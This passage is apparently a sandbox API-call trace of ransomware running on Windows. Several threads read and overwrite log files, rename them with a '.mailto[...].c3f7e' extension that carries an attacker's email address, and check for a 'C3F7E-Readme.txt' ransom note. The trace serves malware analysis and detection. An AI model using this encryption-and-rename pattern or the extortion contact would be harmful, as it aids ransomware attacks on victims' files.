	[0083.511] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x2773f874, FileInformation=0x2773f84c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2773f874, FileInformation=0x2773f84c) returned 0x0
	[0083.511] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2773f874, FileInformation=0x2773f84c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.511] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.522] CloseHandle (hObject=0x16ec) returned 1
	[0083.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.523] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.523] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.523] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bcf10) returned 1

Thread:
	id = 1122
	os_tid = 0x1df8

	[0083.504] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl")) returned 0x2020
	[0083.507] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl", dwFileAttributes=0x20) returned 1
	[0083.508] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16e8
	[0083.508] GetFileSizeEx (in: hFile=0x16e8, lpFileSize=0x277bfa6c | out: lpFileSize=0x277bfa6c*=8192) returned 1
	[0083.508] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.508] ReadFile (in: hFile=0x16e8, lpBuffer=0x277bf9f0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x277bf9ec, lpOverlapped=0x0 | out: lpBuffer=0x277bf9f0*, lpNumberOfBytesRead=0x277bf9ec*=0x4, lpOverlapped=0x0) returned 1
	[0083.512] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.512] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.512] NtQuerySystemTime (in: CurrentTime=0x277bf9cc | out: CurrentTime=0x277bf9cc*=132251868102494185) returned 0x0
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xa41fa93e
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xa874b3a8
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x22ee78e4
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xa250d7a5
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x75bddc62
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x68c1bc20
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xad4ee146
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x11ace966
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x6b14d89e
	[0083.512] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x50956e18
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xbe85cdee
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x324bbac7
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x11b7b96c
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x3b02db96
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x906cdafb
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x59bbbe68
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x3c2fc783
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xc4f02aec
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x273f6cad
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x11f990ae
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x89661677
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xe02e011f
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x134da3c9
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xbab19744
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x9afcbd6
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xebd5d2f8
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xd8e2e6dc
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xd17e5cd5
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x6d665ec7
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xe69e6fb9
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0x210874a2
	[0083.513] RtlRandom (in: Seed=0x277bf9d8 | out: Seed=0x277bf9d8) returned 0xd302f61c
	[0083.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.521] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.522] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.522] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.522] ReadFile (in: hFile=0x16e8, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x277bf9c8, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x277bf9c8*=0x2000, lpOverlapped=0x0) returned 1
	[0083.525] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.525] WriteFile (in: hFile=0x16e8, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x277bf9c4, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x277bf9c4*=0x2000, lpOverlapped=0x0) returned 1
	[0083.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0083.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775f70
	[0083.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.527] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.527] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.527] SetFilePointerEx (in: hFile=0x16e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.527] WriteFile (in: hFile=0x16e8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x277bfa2c, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x277bfa2c*=0x129, lpOverlapped=0x0) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775f70) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.529] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl"
	[0083.529] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.529] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x277bf9e4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.529] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.529] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x277bf9dc, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.530] NtQueryInformationFile (in: FileHandle=0x16e8, IoStatusBlock=0x277bf9f0, FileInformation=0x277bf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x277bf9f0, FileInformation=0x277bf9c8) returned 0x0
	[0083.531] NtSetInformationFile (FileHandle=0x16e8, IoStatusBlock=0x277bf9f0, FileInformation=0x277bf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.531] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.531] FlushFileBuffers (hFile=0x16e8) returned 1
	[0083.533] CloseHandle (hObject=0x16e8) returned 1
	[0083.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.534] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.534] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.534] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.534] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd010) returned 1

Thread:
	id = 1123
	os_tid = 0x1dfc

	[0083.526] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl")) returned 0x2020
	[0083.528] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl", dwFileAttributes=0x20) returned 1
	[0083.530] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.006.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.532] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x2783fa44 | out: lpFileSize=0x2783fa44*=8192) returned 1
	[0083.535] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.535] ReadFile (in: hFile=0x16ec, lpBuffer=0x2783f9c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2783f9c4, lpOverlapped=0x0 | out: lpBuffer=0x2783f9c8*, lpNumberOfBytesRead=0x2783f9c4*=0x4, lpOverlapped=0x0) returned 1
	[0083.536] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e88
	[0083.536] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.536] NtQuerySystemTime (in: CurrentTime=0x2783f9a4 | out: CurrentTime=0x2783f9a4*=132251868102650643) returned 0x0
	[0083.536] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x1227cb57
	[0083.536] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x5a49edd0
	[0083.536] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x75b76445
	[0083.536] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xc755a4eb
	[0083.536] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x2026bbd1
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x330988b
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x7d931258
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x4895656b
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xeb55d234
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x8c2408c6
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xcc3d0087
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x13ebf664
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xaddd5350
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x6f26b6a1
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x5dd7cdbb
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x276a3bf5
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x14ee8de8
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x9c97011e
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xacc8c313
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x5c8ebada
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x676acbd5
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xcbb714d3
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xfb3f3f17
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x50ed9bce
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x7db7df6a
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x822e7edc
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x26357b4e
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0xe2f46d8c
	[0083.583] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x12662ea8
	[0083.584] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x23823dca
	[0083.584] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x50e39496
	[0083.584] RtlRandom (in: Seed=0x2783f9b0 | out: Seed=0x2783f9b0) returned 0x65c9839d
	[0083.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0083.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.592] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4877040
	[0083.592] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4883848
	[0083.592] ReadFile (in: hFile=0x16ec, lpBuffer=0x4877040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2783f9a0, lpOverlapped=0x0 | out: lpBuffer=0x4877040*, lpNumberOfBytesRead=0x2783f9a0*=0x2000, lpOverlapped=0x0) returned 1
	[0083.593] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.593] WriteFile (in: hFile=0x16ec, lpBuffer=0x4883848*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2783f99c, lpOverlapped=0x0 | out: lpBuffer=0x4883848*, lpNumberOfBytesWritten=0x2783f99c*=0x2000, lpOverlapped=0x0) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4883848) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4877040) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775f70
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.594] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x2d62e78
	[0083.594] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.594] WriteFile (in: hFile=0x16ec, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x2783fa04, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x2783fa04*=0x129, lpOverlapped=0x0) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775f70) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925518
	[0083.596] wcscpy (in: _Dest=0x4925518, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl"
	[0083.596] wcscat (in: _Dest=0x4925518, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.596] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2783f9bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.006.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e43fe0
	[0083.597] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2783f9b4, FileInformation=0x2e43fe0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0083.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0083.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.628] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x2783f9c8, FileInformation=0x2783f9a0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2783f9c8, FileInformation=0x2783f9a0) returned 0x0
	[0083.628] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x2783f9c8, FileInformation=0x2783f9a0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.628] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925518) returned 1
	[0083.628] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.630] CloseHandle (hObject=0x16ec) returned 1
	[0083.631] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.631] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
